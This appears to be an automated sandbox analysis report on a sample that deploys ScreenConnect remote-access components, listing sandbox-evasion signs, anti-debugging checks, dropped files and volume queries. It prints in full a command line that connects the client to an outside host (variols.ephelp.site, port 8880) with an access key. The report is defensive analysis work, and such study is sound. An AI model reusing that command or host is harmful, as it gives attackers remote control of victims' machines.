Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Memory allocated: 272FD4C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Memory allocated: 272FEED0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Memory allocated: B20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Memory allocated: 1A700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Memory allocated: 720000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Memory allocated: 2650000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Memory allocated: E30000 memory reserve \| memory write watch	Jump to behavior

Contains long sleeps (>= 3 min)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Window / User API: threadDelayed 526	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Window / User API: threadDelayed 1569	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Window / User API: threadDelayed 2573	Jump to behavior

Found dropped PE file which has not been started or loaded

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..vice_4b14c015c87c1ad8_0018.0004_none_04f4a774935ed06c\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..dows_4b14c015c87c1ad8_0018.0004_none_5818e70d39ed8031\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..core_4b14c015c87c1ad8_0018.0004_none_53a10f2bfd9f6d01\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..ient_4b14c015c87c1ad8_0018.0004_none_e9b66cfe0ceec305\ScreenConnect.Client.dll	Jump to dropped file

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe TID: 6844	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6160	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6192	Thread sleep time: -128650s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6160	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe TID: 6232	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe TID: 7044	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe TID: 4960	Thread sleep count: 200 > 30	Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Code function: 0_2_00764B9B FindFirstFileExA,

0_2_00764B9B

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Thread delayed: delay time: 40000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\	Jump to behavior

Source: Amcache.hve.8.dr	Binary or memory string: VMware
Source: ScreenConnect.WindowsClient.exe, 00000004.00000002.1499314976.000000001AFD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllE\|+9Y
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.8.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: Amcache.hve.8.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.8.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.8.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: dfsvc.exe, 00000001.00000002.2720941226.000002729B6B7000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2724880661.00000272FF5C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.8.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.8.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.8.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.8.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.8.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.8.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.8.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.8.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.8.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.8.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.8.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: dfsvc.exe, 00000001.00000002.2720941226.000002729B6B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW"e
Source: Amcache.hve.8.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Anti Debugging

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Process queried: DebugPort	Jump to behavior

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Code function: 0_2_00761920 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00761920

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

0_2_00761000

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Code function: 0_2_007637C7 mov eax, dword ptr fs:[00000030h]

0_2_007637C7

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Code function: 0_2_007669E3 GetProcessHeap,

0_2_007669E3

Enables debug privileges

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Process token adjusted: Debug

Jump to behavior

Launches processes in debugging mode, may be used to hinder debugging

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Code function: 0_2_00761493 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00761493
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Code function: 0_2_00761920 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00761920
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Code function: 0_2_007646C3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_007646C3
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Code function: 0_2_00761AAD SetUnhandledExceptionFilter,	0_2_00761AAD

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT \| WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.LoadLibrary(loadedImageBase + ptr[i].Name)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs	Reference to suspicious API methods: HandleMinder.CreateWithFunc(WindowsNative.OpenProcess(processAccess, bInheritHandle: false, processID), WindowsNative.CloseHandle)

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe

Process created: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=variols.ephelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQBN%2fsDy6XX2LDmcpyEoKK55JwThlRr7YHNGe39snOuHFtnjCyK72cZJH78V0V1YAf3iHC4VrBqpgJlkVuiU31AA%2fvSAfza7nhZjCa5ykV2NAakmwwsZZcF4P1vkpVkI7ANPAC%2bVyPuI2q4BXqVaSlq5q6E2QfxXeftcqNGKOU7f6LwNITHSyFLXqkb6omGbacpFoHOXIhxtO51vc7VoYDnePo%2bPLojTyIgk0TnsKSl3v5MmaDGdZnaRO%2fgpfn0w%2fd8d4r7vK%2b35r8AOTYEvrTtJo%2bk50eZpwyQ3Wb4JzVjk4643SyQu2kEB3raxmEp6Lu%2bCnvj%2fq6inamW4uCChS0u0&r=&i=" "1"

Jump to behavior

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\v0dmj93t.z9b\4kqq0db9.hm7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\screenconnect.clientservice.exe" "?e=support&y=guest&h=variols.ephelp.site&p=8880&k=bgiaaackaabsu0exaagaaaeaaqbn%2fsdy6xx2ldmcpyeokk55jwthlrr7yhnge39snouhftnjcyk72czjh78v0v1yaf3ihc4vrbqpgjlkvuiu31aa%2fvsafza7nhzjca5ykv2naakmwwszzcf4p1vkpvki7anpac%2bvypui2q4bxqvaslq5q6e2qfxxeftcqngkou7f6lwnithsyflxqkb6omgbacpfohoxihxto51vc7voydnepo%2bplojtyigk0tnsksl3v5mmadgdznaro%2fgpfn0w%2fd8d4r7vk%2b35r8aotyevrttjo%2bk50ezpwyq3wb4jzvjk4643syqu2keb3raxmep6lu%2bcnvj%2fq6inamw4ucchs0u0&r=&i=" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\v0dmj93t.z9b\4kqq0db9.hm7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\screenconnect.clientservice.exe" "?e=support&y=guest&h=variols.ephelp.site&p=8880&k=bgiaaackaabsu0exaagaaaeaaqbn%2fsdy6xx2ldmcpyeokk55jwthlrr7yhnge39snouhftnjcyk72czjh78v0v1yaf3ihc4vrbqpgjlkvuiu31aa%2fvsafza7nhzjca5ykv2naakmwwszzcf4p1vkpvki7anpac%2bvypui2q4bxqvaslq5q6e2qfxxeftcqngkou7f6lwnithsyflxqkb6omgbacpfohoxihxto51vc7voydnepo%2bplojtyigk0tnsksl3v5mmadgdznaro%2fgpfn0w%2fd8d4r7vk%2b35r8aotyevrttjo%2bk50ezpwyq3wb4jzvjk4643syqu2keb3raxmep6lu%2bcnvj%2fq6inamw4ucchs0u0&r=&i=" "1"			Jump to behavior

Source: ScreenConnect.WindowsClient.exe, 00000004.00000000.1097848481.0000000000352000.00000002.00000001.01000000.00000009.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr	Binary or memory string: Progman
Source: ScreenConnect.WindowsClient.exe, 00000004.00000000.1097848481.0000000000352000.00000002.00000001.01000000.00000009.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr	Binary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass

Language, Device and Operating System Detection

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.ClientService.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.WindowsBackstageShell.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.WindowsFileManager.exe.config VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.WindowsClient.exe.config VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.WindowsBackstageShell.exe.config VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.WindowsFileManager.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
